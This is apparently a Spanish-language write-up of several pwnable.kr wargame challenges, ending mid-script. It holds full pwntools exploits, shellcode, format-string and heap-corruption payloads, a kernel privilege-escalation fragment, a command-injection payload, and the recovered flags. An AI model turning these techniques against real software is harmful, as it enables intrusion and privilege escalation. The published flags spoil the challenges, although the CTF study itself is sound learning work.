// Replace sys_stime with commit_creds -12
syscall(SYS_UPPER,COMMIT_CREDS_MINUS_12,&sct[SYS_STIME]);

// Replace sys_time with prepare_kernel_cred
syscall(SYS_UPPER,PREPARE_KERNEL_CRED,&sct[SYS_TIME]);

// Execute commit_creds(prepare_kernel_cred(0))
syscall(SYS_STIME,syscall(SYS_TIME,0));

// Shell
system("/bin/sh");
return 0;
}

Must_san1tize_Us3r_p0int3r

crypto1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# client.py
#!/usr/bin/python2
from Crypto.Cipher import AES
import base64
import os, sys
import xmlrpclib
rpc = xmlrpclib.ServerProxy("http://localhost:9100/")

BLOCK_SIZE = 16
PADDING = '\x00'
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
EncodeAES = lambda c, s: c.encrypt(pad(s)).encode('hex')
DecodeAES = lambda c, e: c.decrypt(e.decode('hex'))

# server's secrets
key = 'erased'
iv = '\x5c'*BLOCK_SIZE
cookie = 'erased'

# guest / a488ff12949b87e5c93d489c27217486702b179c060399adf36fc3bc1f5425ec
def sanitize(arg):
for c in arg:
if c not in '1234567890abcdefghijklmnopqrstuvwxyz-_':
return False
return True

def AES128_CBC(msg):
cipher = AES.new(key, AES.MODE_CBC, iv)
return EncodeAES(cipher, msg)

def request_auth(id, pw):
packet = '{0}-{1}-{2}'.format(id, pw, cookie)
e_packet = AES128_CBC(packet)
print 'sending encrypted data ({0})'.format(e_packet)
sys.stdout.flush()
return rpc.authenticate(e_packet)

if __name__ == '__main__':
print '---------------------------------------------------'
print '- PWNABLE.KR secure RPC login system -'
print '---------------------------------------------------'
print ''
print 'Input your ID'
sys.stdout.flush()
id = raw_input()
print 'Input your PW'
sys.stdout.flush()
pw = raw_input()

if sanitize(id) == False or sanitize(pw) == False:
print 'format error'
sys.stdout.flush()
os._exit(0)

cred = request_auth(id, pw)

if cred==0 :
print 'you are not authenticated user'
sys.stdout.flush()
os._exit(0)
if cred==1 :
print 'hi guest, login as admin'
sys.stdout.flush()
os._exit(0)

print 'hi admin, here is your flag'
print open('flag').read()
sys.stdout.flush()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# server.py
#!/usr/bin/python2
import xmlrpclib, hashlib
from SimpleXMLRPCServer import SimpleXMLRPCServer
from Crypto.Cipher import AES
import os, sys

BLOCK_SIZE = 16
PADDING = '\x00'
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
EncodeAES = lambda c, s: c.encrypt(pad(s)).encode('hex')
DecodeAES = lambda c, e: c.decrypt(e.decode('hex'))

# server's secrets
key = 'erased'
iv = '\x5c'*BLOCK_SIZE
cookie = 'erased'

def AES128_CBC(msg):
cipher = AES.new(key, AES.MODE_CBC, iv)
return DecodeAES(cipher, msg).rstrip(PADDING)

def authenticate(e_packet):
packet = AES128_CBC(e_packet)

id = packet.split('-')[0]
pw = packet.split('-')[1]

if packet.split('-')[2] != cookie:
return 0
if hashlib.sha256(id+cookie).hexdigest() == pw and id == 'guest':
return 1
if hashlib.sha256(id+cookie).hexdigest() == pw and id == 'admin':
return 2
return 0

server = SimpleXMLRPCServer(("localhost", 9100))
print "Listening on port 9100..."
server.register_function(authenticate, "authenticate")
server.serve_forever()
Intro

El reto implementa un cliente y un servidor RPC que realiza una autenticacion con id y contraseña.

El mensaje que se encripta sigue el formato “{id}-{pw}-{cookie}”. Donde pw es sha256sum(id+cookie). La cookie la desconocemos.

Para conseguir la flag debemos usar el id “admin” y la cookie correcta.

Conocemos el texto plano parcialmente, el texto cifrado, el tamaño de bloque y que la clave y el IV son constantes.

KPA

Known plaintext attack se basa en que, como se dijo, la clave e IV no varían y conocemos el tamaño de bloque.

Lo que hacemos es rellenar un bloque con bytes de tal manera que el último byte sea un byte de la cookie.

Por ejemplo en el formato “{id}-{pw}-{cookie}”. Si hacemos id="-"*13 y pw="" entonces el primer bloque luce asi: "-" * 15 + cookie_byte.

Podemos entonces hacer id="-"*15 + guess_byte y pw="" para que podamos adivinar el byte.

Intentamos el proceso con cada caracter del alfabeto dado hasta que el texto cifrado de ambos casos coincida.

Al principio me enredé bastante con los cálculos.

Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
import string

context.log_level = "error"

def get_ciphertext(id, pw=b""):
#r = remote("pwnable.kr",9006)
r = process(["nc","0","9006"])
r.sendlineafter(b"ID\n",id)
r.sendlineafter(b"PW\n",pw)
l = r.recvline().strip().decode()
r.close()
c = l[l.find("(")+1:l.find(")")]
return c

alphabet = string.digits + string.ascii_lowercase + "-_"
cookie=b""

for i in range(29):
# Some math
placeholder = b"-"*(13 - i + 16 * ((i+2)//16))
test_placeholder = b"-"*(15 - i + 16 * ((i+2)//16))
count = 32 * (i//16 + 1)
# Get ciphertext
cipher_1 = get_ciphertext(placeholder)
# Guess one byte
for c in alphabet:
cipher_2 = get_ciphertext(test_placeholder + cookie + c.encode())
if cipher_1[count-32:count] == cipher_2[count-32:count]:
cookie += c.encode()
print("Cookie updated!: ",cookie)
break

# Win
id = b"admin"
pw = hashlib.sha256(id+cookie).hexdigest().encode()
print("Id: ",id)
print("Password: ",pw)
print("Cookie: ",cookie)

#r = process("pwnable.kr",9006)
r = process(["nc","0","9006"])
r.sendlineafter(b"ID\n",id)
r.sendlineafter(b"PW\n",pw)
r.interactive()
Nota
  • ¿Por qué 29?

Podemos usar un número grande y añadir una condicional para que se detenga cuando no hallan coincidencias de todas formas pero se puede detectar el tamaño de la cookie por medio del padding:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def look(msg):
for i in range(0,len(msg),16*2):
print(f"[{str(i//2).rjust(3,' ')}]: ",msg[i:i+16*2])
print()

# admin-012345678-
look("cd076555f6240ca5ec2122366875d603057bd9ab34627c657d6db3fa13ea8d0cb67d1f5b21d3e4ef3a23dbeca8b0b422")
# admin-012345678a
# -
look("9953f2ce1895f41cfec4073fb115f9e4b7c81c6995805419bc647573c6f22e5208d7a5acad1524ca47b3552c03cb8f40")
# admin-012345678a
# b-
look("9953f2ce1895f41cfec4073fb115f9e4ed1adbd7ef0b4b4edc9abc32b3cbdffe77e78610b89afc635d06121eea4fa9f8")
# admin-012345678a
# bc-
look("9953f2ce1895f41cfec4073fb115f9e4af44fcf99ded76ed57145b33ef31af243a5a0533001ee2d32d140d549be5bcabf78c367588258f9ed2d485c39f64a346")

# bytes: X-> cadena C->Cookie P->Padding
# XXXXXXXXXXXXXXXX
# XXXXXXCCCCCCCCCC
# CCCCCCCCCCCCCCCC
# CPPPPPPPPPPPPPPP
# cookie=29

Se puede observar como al añadir el último byte en el script aparecen un bloque más, 1 byte de la cookie desplazado y los otros 15 son padding PKCS#7.

1mplem3nt4t1on_m1stak3_Br3akes_Crypt0

echo2

1
2
3
4
5
6
7
8
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
FSB & UAF

La opción 2, “FSB echo”, nos permite usar una vulnerabildad de cadena formateada.

La opción 3, “UAF echo”, nos permite crear un chunk, escribir en él y luego lo libera.

A pesar de que la variable global o apunta a un chunk reservado con malloc(0x28) y los chunks de la opción 3 son reservados con malloc(0x20), malloc internamente los crea de tamaño 0x30 a ambos.

Hay un bug en el código que permiter liberar o antes de que se confirme que se desea salir del programa:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
do {
while( true ) {
while( true ) {
puts("\n- select echo type -");
puts("- 1. : BOF echo");
puts("- 2. : FSB echo");
puts("- 3. : UAF echo");
puts("- 4. : exit");
printf("> ");
ctx = (EVP_PKEY_CTX *)&DAT_00400c78_%d;
__isoc99_scanf(&DAT_00400c78_%d,&input);
getchar();
if (3 < input) break;
(**(code **)(func + (ulong)(input - 1) * 8))();
}
if (input == 4) break;
puts("invalid menu");
}
cleanup(ctx); <--- free(o)
printf("Are you sure you want to exit? (y/n)"); <--- ¿Preguntar después?
input = getchar();
} while (input != 0x79);

Explotación:

  1. El programa tiene una pila ejecutable y los 24 bytes de username son suficientes para introducir shellcode.
  2. Filtrar una dirección de la pila y calcular la dirección donde se almacena nuestro shellcode.
  3. Liberar o y luego usar la opción 2 lleva a un Use After Free, con el que podemos sobreescribir o+0x18, la función gretings con la dirección del shellcode.
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python3
from pwn import *

elf = ELF("./echo2")
#libc = ELF("./")
#ld = ELF("./")

context.binary = elf
context.terminal = ['tmux', 'splitw', '-hp', '70']
#context.log_level = "debug"
gs = '''
break main
'''

domain= "pwnable.kr"
port = 9011

def start():
if args.REMOTE:
return remote(domain, port)
if args.GDB:
return gdb.debug([elf.path], gdbscript=gs)
# you need r.interactive() !
else:
return process([elf.path])
r = start()

# rop = ROP(elf)
# rop = ROP(elf, libc)
# rop = ROP(elf, libc, ld)

#========= exploit here ===================
# http://shell-storm.org/shellcode/files/shellcode-909.html
sc = b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x54" \
b"\x5f\x31\xc0\x50\xb0\x3b\x54\x5a\x54\x5e\x0f\x05"

# Put shellcode
r.sendlineafter(b":",sc)

# Leak a stack address (FSB echo)
r.sendlineafter(b">",b"2")
r.sendlineafter(b"\n",b"%10$p")
sc_address = int(r.recvline().strip(),16) - 0x20
r.info("Shellcode address: " + hex(sc_address))

# Free o
r.sendlineafter(b">",b"4")
r.sendlineafter(b"(y/n)",b"n")

# Overwrite o[3] -> greetings (UAF echo)
r.sendlineafter(b">",b"3")
r.sendlineafter(b"\n",b"A"*24 + p64(sc_address))

# Shell
r.sendline(b"1")
r.interactive()

w3_want_ex3cutable_5tack

rsa calculator

1
2
3
4
5
6
7
8
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Introducción

Podemos observar que el stack es ejecutable. Escribiremos shellcode en una dirección de la pila y redirigiremos el flujo de ejecución allí para invocar una shell.

Las funciones que nos interesan son RSA_encrypt y RSA_decrypt, pero primero tenemos que llamar a set_key_pair para crear un par de claves RSA.

Esta función tiene una comprobación inusual que hace el cifrado practicamente inútil (no voy a empezar a escribir aritmética modular aquí). Después hay otra comprobación sobre el tamaño de n:

Una combinacion que funciona puede ser p=10000, q=10000, e=1, d=1.

Si encriptas un mensaje observas que el programa en la práctica lo que hace es codificar en hexadecimal y extender el byte a un int.

La implementación de este programa tiene varios bugs pero lo más útil es la vulnerabilidad de cadena formateada en printf(g_ebuf) y printf(g_pbuf) en RSA_encrypt y RSA_decrypt respectivamente.

Explotación

Objetivo: Sobreescribir la entrada de exit en la GOT por una dirección en el stack donde almacenamos shellcode.

Paso 1: Filtrar RBP

Para esto hay que construir el Dockefile. Cambié el script de perl por socat para servir el binario:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

FROM ubuntu:16.04

RUN dpkg --add-architecture i386 && \
apt update && \
apt install -y gcc-multilib libc6:i386 libssl1.0.0:i386 lib32stdc++6 lib32z1 gdb file net-tools socat

RUN useradd -u 1128 -m rsa_calculator_pwn

COPY rsa_calculator /home/rsa_calculator_pwn/rsa_calculator
COPY flag /home/rsa_calculator_pwn/flag

RUN chown root:rsa_calculator_pwn /home/rsa_calculator_pwn/rsa_calculator /home/rsa_calculator_pwn/flag
RUN chmod 550 /home/rsa_calculator_pwn/rsa_calculator
RUN chmod 440 /home/rsa_calculator_pwn/flag

USER rsa_calculator_pwn
WORKDIR /home

CMD ["socat", "TCP-LISTEN:1337,reuseaddr,fork", "EXEC:/home/rsa_calculator_pwn/rsa_calculator,pty,stderr"]

Usando gdb encontré un puntero a RBP+0x100 en esta dirección:

Paso 2: Hallar el offset con respecto a RBP de la dirección del shellcode

Cuando llamamos a RSA_encrypt se almacena en el stack la entrada de usuario.

Luego si se llama a RSA_decrypt, si nuestro mensaje codificado no es muy largo, la entrada anterior (el texto plano) se mantiene en el stack**.

El inicio es en RBP-0x410:


El exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *

elf = context.binary = ELF("./rsa_calculator")
r = remote("pwnable.kr",9012)

def generate_key_pair():
# Hardocoded
return {'p': 10000, 'q': 10000, 'e': 1, 'd': 1}

def set_key_pair():
keys = generate_key_pair()
r.sendline(b"1")
r.sendline(str(keys["p"]).encode())
r.sendline(str(keys["q"]).encode())
r.sendline(str(keys["e"]).encode())
r.sendline(str(keys["d"]).encode())

def encrypt(msg):
r.sendline(b"2")
r.sendline(str(len(msg)).encode())
r.sendline(msg)
r.recvuntil(b" (hex encoded) -\n")
return r.recvline().strip()

def decrypt(l, hexdata):
r.sendline(b"3")
r.sendline(str(l*8).encode())
r.sendline(hexdata)
r.recvuntil(b"result -\n")
return r.recvline().strip()

def write_short(offset,write):
payload = fmtstr_payload(offset,write,write_size="short",write_size_max="short")
hexdata = encrypt(payload)
decrypt(len(payload),hexdata)

set_key_pair()

# Leak rbp
fstring = b"%219$p"
hexdata = encrypt(fstring)
output = decrypt(len(fstring),hexdata)
rbp = int(output[:14],16) - 0x100
sh_addr = rbp - 0x410
log.success("RBP leaked: " + hex(rbp))

# Overwrite exit@GOT
write_short(76,{0x602068: (sh_addr) & 0xFFFF})
write_short(76,{0x602068 + 2: (sh_addr >> 16) & 0xFFFF})
write_short(76,{0x602068 + 4: (sh_addr >> 32) & 0xFFFF})

# Write shellcode
shellcode = asm(shellcraft.sh())
hexdata = encrypt(shellcode)
decrypt(len(shellcode),hexdata)

# Shell
r.sendline(b"5")
r.interactive()

w4at_a_buggy_RS4_c4lculat0r

uaf

1
2
3
4
5
6
7
8
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Introducción

Recomiendo que tenga un conocimiento basico de C++, POO, como funciona el heap, malloc y libc.

Lo primero que notamos es que las funciones tienen nombres raros como “_ZNSaIcED1Ev@plt” o “_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1E”. Esto es producto de un mangler, una parte del compilador que genera nombres únicos.

Podemos observar que algunas contienen “basic_ostream”, “basic_istream”.

Esto es característico de C++, son los operadores de flujo “<<” y “>>”.

Herramientas como Ghidra son capaces de desenredar estas convenciones de decompiladores como GCC y MSVC.

En Ghidra se ven las clases “Human”, “Man”, “Woman”. “Man” y “Woman”, que parecen ser clases derivadas de “Human”.

Curiosamente “Human” tiene dos metodos:

  • introduce()
  • give_shell()

introduce() es claramente un método virtual:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* Human::introduce() */
void __thiscall Human::introduce(Human *this)
{
ostream *poVar1;

poVar1 = std::operator<<((ostream *)std::cout,"My name is ") ;
poVar1 = std::operator<<(poVar1,(string *)(this + 0x10));
std::ostream::operator<<(poVar1,std::endl<>);
poVar1 = std::operator<<((ostream *)std::cout,"I am ");
poVar1 = (ostream *)std::ostream::operator<<(poVar1,*(int * )(this + 8));
poVar1 = std::operator<<(poVar1," years old");
std::ostream::operator<<(poVar1,std::endl<>);
return;
}

“Man” y “Woman” agregan una frase:

1
2
3
4
5
6
7
8
9
10
11
12
/* Man::introduce() */

void __thiscall Man::introduce(Man *this)

{
ostream *this_00;

Human::introduce((Human *)this);
this_00 = std::operator<<((ostream *)std::cout,"I am a nice g uy!");
std::ostream::operator<<(this_00,std::endl<>);
return;
}
1
2
3
4
5
6
7
8
9
10
11
/* Man::introduce() */
void __thiscall Man::introduce(Man *this)

{
ostream *this_00;

Human::introduce((Human *)this);
this_00 = std::operator<<((ostream *)std::cout,"I am a nice g uy!");
std::ostream::operator<<(this_00,std::endl<>);
return;
}

Podemos ver esto interactuando con el binario:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ ./uaf
1. use
2. after
3. free
1
My name is Jack
I am 25 years old
I am a nice guy!
My name is Jill
I am 21 years old
I am a cute girl!
1. use
2. after
3. free

Su otro método es mas interesante. Este no cambia en las clases derivadas:

1
2
3
4
5
6
7
8
9
10
11
12
13
/* Human::give_shell() */
void Human::give_shell(void)

{
__gid_t __egid;
__gid_t __rgid;

__egid = getegid();
__rgid = getegid();
setregid(__rgid,__egid);
system("/bin/sh");
return;
}
Virtual Tables

Ambos métodos son virtuales. Esto significa que tienen entradas en una estructura llamada vtable. Cada clase tiene su propia vtable con sus funciones virtuales y los llaman mediante vtable_base_address + offset.

Si ponemos un breakpoint en *main+318 observamos como es que se llama a introduce() para “Man” y “Woman”:

En resumen el proceso es este:

1
2
3
4
5
rax = 0x4182b0               (puntero a vtable de Man)
rax = *rax = 0x404d80 (vtable de Man + 0x10) (apunta a Human::give_shell()!)
rax = rax + 8 = 0x404d88 (vtable de Man + 0x18) (apunta a Man::Introduce())
rdx = *rax = 0x402b20 (dirección de Man::Introduce())
call rdx

Nuestro objetivo es lograr que rax + offset caiga en 0x404d80 y asi llamar a Human::give_shell().

Use-After-Free

Como sabemos C++ almacena sus objetos en el heap. Y los chunks de las instancias de Man y Woman son contiguos.

En la opcion 2 (after) podemos escribir argv[1] bytes desde un descriptor de archivo para argv[2] hacia un buffer creado con new, o sea, en el heap:

Revisando el código de main de nuevo en Ghidra vemos que no se hace NULL a los punteros:

1
2
3
4
5
6
7
8
9
if (Man_Object != (Man *)0x0) {
Human::~Human((Human *)Man_Object);
operator.delete(ManPTR,0x30);
}
WomanPTR = Woman_Object;
if (Woman_Object != (Woman *)0x0) {
Human::~Human((Human *)Woman_Object);
operator.delete(WomanPTR,0x30);
}

Cuando un chunk es liberado generalmente va primero a una de las tcachebins, y si se intenta reservar un nuevo chunk del mismo tamaño se reutiliza el último en entrar a la tcachebin del tamaño correspondiente.

Podemos entonces corromper los chunks de Man y Woman.

La estrategia es sencilla:

  • Usamos la opcion 3 (“free”) para liberar los dos chunks Man y luego Woman, la tcachebin de 0x30 bytes luce algo asi:
    Woman_Free_Chunk <- Man_Free_Chunk <- HEAD
  • Usamos la opcion 2 (“after”) para crear chunks del mismo tamaño que los objetos (0x30 bytes). Tenemos que hacer esto dos veces porque en el primer alloc sobreescribimos Woman, y en el segundo, Man.
  • Usamos la opcion 3 (“use”) para invocar a Human::give_shell().
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
# Fake Man Vtable
# originally 0x4182b0 => 00404d80, which results in rdx = 00404d80 + 8 (Man::Introduce)
# If we do 0x4182b0 => 00404d78, it results in rdx = 00404d78 + 8 (Man::give_shell)
payload = p64(0x404d78)
payload += p64(0x19)
payload += p64(0x4182d0)
payload += p64(0x4)
payload += p64(0x6b63614a)
payload += p64(0x0)

assert len(payload) == 0x30

# I found out that using /dev/stdin instead of a regular file is more elegant
r = process(["./uaf","48","/dev/stdin"])

# Free
r.sendlineafter(b"3. free",b"3")

# Overwrite Woman instance
r.sendlineafter(b"3. free",b"2")
r.sendline(payload)

# Overwrite Man instance
r.sendlineafter(b"3. free",b"2")
r.sendline(payload)

# Shell
r.sendlineafter(b"3. free",b"1")
r.interactive()

d3lici0us_fl4g_after_pwning

1
2
3
4
5
6
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Introducción

Al igual que el reto uaf, este requiere que se tenga un conocimiento basico del heap y malloc

Nos dan el código fuente y vemos que implementa una struct “OBJ” que luce muy similar a un típico chunk del heap:

1
2
3
4
5
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;

Se reserva espacio en el heap con malloc y usa las propiedades del struct para crear una lista enlazada:

1
2
3
4
5
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;

Y la función “unlink” es una implementación primitiva de unlink() que existía en versiones antiguas de glibc (<=2.3.5)

1
2
3
4
5
6
7
8
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}

Nos filtran una dirección del stack (puntero a “A”) y otra del heap (header de “A”).

Además contamos con una función shell que llama a system("/bin/sh").

Entonces nos dejan bien claros que tenemos que usar un heap overflow para que al llamar a unlink() podamos hacer un what-write-where.

Se hace un unlink a “B”. Con el heap overflow en “A” controlamos FD y BK.

Nota: *No estamos trabajando con los verdaderos fd y bk, sino con los de la estructura. NO hay offset a fd y solo 4 bytes de offset a bk.

Mis primeros intentos fueron infructuosos por culpa de BK->fd=FD.

Por ejemplo, si hacemos FD=ret_address_in_stack - 4 y BK=shell_addr ocurre:

1
2
3
4
5
BK = shell_addr
FD = ret_address_in_stack - 4
FD->bk(ret_address_in_stack - 4 + 4) = shell_addr
BK->fd(shell_address) = ret_address_in_stack - 4 <--- La seccion .data NO es escribible (segfault)

Y si usasemos heap_leaked_address o alguna dirección relativa recordemos que entonces heap_leaked_address - 4 = ret_address_in_stack. Por lo que nuestro shellcode queda arruinado.

Por suerte la función main tiene un epílogo peculiar:

La función hace esp=ebp-8, luego pop ecx,ebx,ebp, y por ultimo esp=ecx-4.

Mi idea fue hacer FD=ebp_minus_8 - 4 y BK=heap_address + 12.

Nuestro heap_leak es al header de “A”, al sumarle 12 lo colocamos en “A->buf[3]“.

Cuando se ejecute unlink(B), ebp-8 contendrá la dirección de “A->buf[3]“. Igualmente, “A->buf[3]“ contendrá la dirección de ebp-8.

Al final de main pop ecx hará ecx=0x8a0d9bc y lea esp, [ecx - 4] produce esp=0x8a0d9b8 (“A->buf”), que contendrá la dirección de nuestra shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
s = ssh(host='pwnable.kr', port=2222, user='unlink', password='guest') ;r = s.process(["./unlink"])
#r = process("./unlink")

r.recvuntil(b"leak: ")
stack_address = int(r.recvline().strip(),16)
r.info("Stack address leak: {}".format(hex(stack_address)))

r.recvuntil(b"leak: ")
heap_address = int(r.recvline().strip(),16)
r.info("Heap address leak: {}".format(hex(heap_address)))

shell_address = 0x080491d6
ebp_minus_8 = stack_address + 12

#FD = ebp_8 - 4
#BK = A+ 12
#FD->bk = ebp_8 + 4 -4 = BK
#BK->fd = heap_address = ebp_8 - 4
payload = p32(shell_address) # A->buf (A + 8)
payload += b"A" * 12 # A->buf
payload += b"B" * 8 # B_prevsize, B_size
payload += p32(ebp_minus_8 - 4) # B->fd (FD)
payload += p32(heap_address + 12) # B->bk (BK)

r.sendline(payload)
r.interactive()

wr1te_what3ver_t0_4nywh3re

loveletter

1
2
3
4
5
6
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

El programa ejecuta el comando echo I love <nuestra_entrada> very much!". La función protect se encarga de filtrar los caracteres que llevan a una inyección de comandos sustituyendo los caracteres especiales con “♥”.

Dado que “♥” se representa con tres caracteres y no hay verificación de límites podemos desbordar input[256] en main.

Seguido de input[256] se encuentra len_prolog, la longitud de prolog, que contiene “echo I love”.

Dado que el programa concatena prolog, input y epilog, si con el desbordamiento hacemos que la longitud de prolog sea 0 podemos escribir cat flag en input y se ejecutará.

Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3
from pwn import *

elf = ELF("./loveletter")
#libc = ELF("./")
#ld = ELF("./")

context.binary = elf
context.terminal = ['tmux', 'splitw', '-hp', '70']
#context.log_level = "debug"
gs = '''
break main
'''

domain= "pwnable.kr"
port = 9034

def start():
if args.REMOTE:
return remote(domain, port)
if args.GDB:
return gdb.debug([elf.path], gdbscript=gs)
# you need r.interactive() !
else:
return process([elf.path])
r = start()

# rop = ROP(elf)
# rop = ROP(elf, libc)
# rop = ROP(elf, libc, ld)

#========= payloadploit here ===================
payload = b"cat flag "
payload += b"A" * (256 - len(payload) - 3) + b";\x00"
assert len(payload) == 255
r.sendline(payload)
r.interactive()

I_Am_Y0ur_eternal_Lov3r

chatbot

1
2
3
4
5
6
7
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fc000)
RUNPATH: b'./'
Stripped: No

Este reto es relativamente más difícil que el resto en la categoría.

Vulnerabilidad

El programa tiene una vulnerabilidad en server_thread:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void server_thread(void)
{
char *__idx;
size_t __n;
long in_FS_OFFSET;
int idx;
undefined8 *g_head_ptr;
char *cursewords_ptr;
char log [104];
undefined8 canary;

canary = *(undefined8 *)(in_FS_OFFSET + 0x28);
sandbox();
g_server_win = newwin(0xf,0x28,1,0xc);
draw_list_window(g_server_win);
do {
usleep(100000);
for (g_head_ptr = g_head; g_head_ptr != (undefined8 *)0x0;
g_head_ptr = (undefined8 *)*g_head_ptr) {
idx = 0;
cursewords_ptr = (char *)cursewords._0_8_;
while (cursewords_ptr != (char *)0x0) {
__idx = strstr((char *)g_head_ptr[1],cursewords_pt r);
if (__idx != (char *)0x0) {
__n = strlen(*(char **)(nicerwords + (long)idx * 8 ));
strncpy(__idx,*(char **)(nicerwords + (long)idx * 8),__n);
sprintf(log,"bad word \'%s\' is replaced to nice w ord \'%s\'\n",cursewords_ptr,
*(undefined8 *)(nicerwords + (long)idx * 8));
/* desbordamiento de g_buf */
strcat(g_log,log);
}
idx = idx + 1;
cursewords_ptr = *(char **)(cursewords + (long)i dx * 8);
}
}
} while( true );
}

strcat no verifica límites y permite escribir más allá de g_buf, pudiendo sobreescribir prompt.

Si sobreescribimos el LSB de prompt con un byte nulo, podemos hacer que
strlen(prompt)=32 cuando el hilo principal está esperando entrada en wgetch dentro de get_input.

write-what-where con prompt

Dado que _len=2 pero strlen(prompt)=32 ahora podemos retroceder (borrar) hasta _dest que contiene la dirección donde se escribe. Con esto se consigue un write-what-where limitado (sin \x7f\x0a\x00).

Con esta vulnerabilidad podemos:

  • Sobreescribir free@got con la dirección de main y abusar de esto tanto como queramos.
  • Sobreescribir prompt con la dirección de strlen@got u otra entrada de la GOT que ya tenga una dirección de libc resuelta y obtener un leak.
  • Sobreescribir free@got con la dirección de scanf u printf, o incluso usar ret2csu para conseguir RCE.

write-what-where con scanf

scanf toma los varargs así:

  1. %1$ -> RSI (el formato es RDI)

  2. %2$ -> RDX

  3. %3$ -> RCX

  4. %4$ -> R8

  5. %5$ -> R9

  6. %6$ -> El primer valor en el stack (justo encima de la dirección de retorno).

El sexto sería por ejemplo de este backtrace:

1
2
3
4
5
6
7
8
pwndbg> bt
#0 _IO_vfscanf_internal (s=<optimized out>, format=<optimized out>,
argptr=argptr@entry=0x7fff89265688, errp=errp@entry=0x0) at vfscanf.c:2458
#1 0x00007fd5188485ef in __isoc99_scanf (format=<optimized out>)
at isoc99_scanf.c:37
#2 0x0000000000401cca in loop ()
#3 0x0000000000401f74 in main ()
#4 0x0000000000401cca in loop ()

Este valor antes del retorno a loop:

1
2
3
4
5
pwndbg> f 2
#2 0x0000000000401cca in loop ()
pwndbg> telescope -r 2
00:0000│-048 0x7fff89265758 —▸ 0x401cca (loop+332) ◂— mov rax, qword ptr [rip + 0x20152f]
01:0008│ rsp 0x7fff89265760 —▸ 0x7fff89265800

Donde 0x7fff89265800 es sobreescrito con free@got. Buscamos que índice sería 0x7fff89265800 para sobreescribirlo con system:

1
2
pwndbg> p/d ( (0x7fff89265800 -  0x7fff89265760) / 8 ) + 6
$10 = 26

El vigésimo sexto. Luego _IO_vfscanf hace lo siguiente:

  • Recibe “addr(free)-addr(system)”
  • “%6$llu”: Encuentra el puntero 0x7fff89265760, lo desreferencia y almacena la dirección de free@got en él.
  • “%26$llu” Encuentra el puntero 0x7fff8926580, lo desreferencia (ahora apunta a free) y almacena la dirección de system en él.
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
import os
os.environ['PWNLIB_NOTERM'] = '1'
from pwn import *

elf = context.binary = ELF("./chatbot")
libc = ELF("./libc-2.23.so",checksec=False)

domain="0.0.0.0"
#domain = "pwnable.kr"
port = 9044

def start():
if args.REMOTE:
return remote(domain, port)
else:
# not working properly
return process("./chatbot")

#========= exploit here ===================
r = start()

def init(id, pw):
r.sendlineafter(b"ID",id)
r.sendlineafter(b"PW",pw)
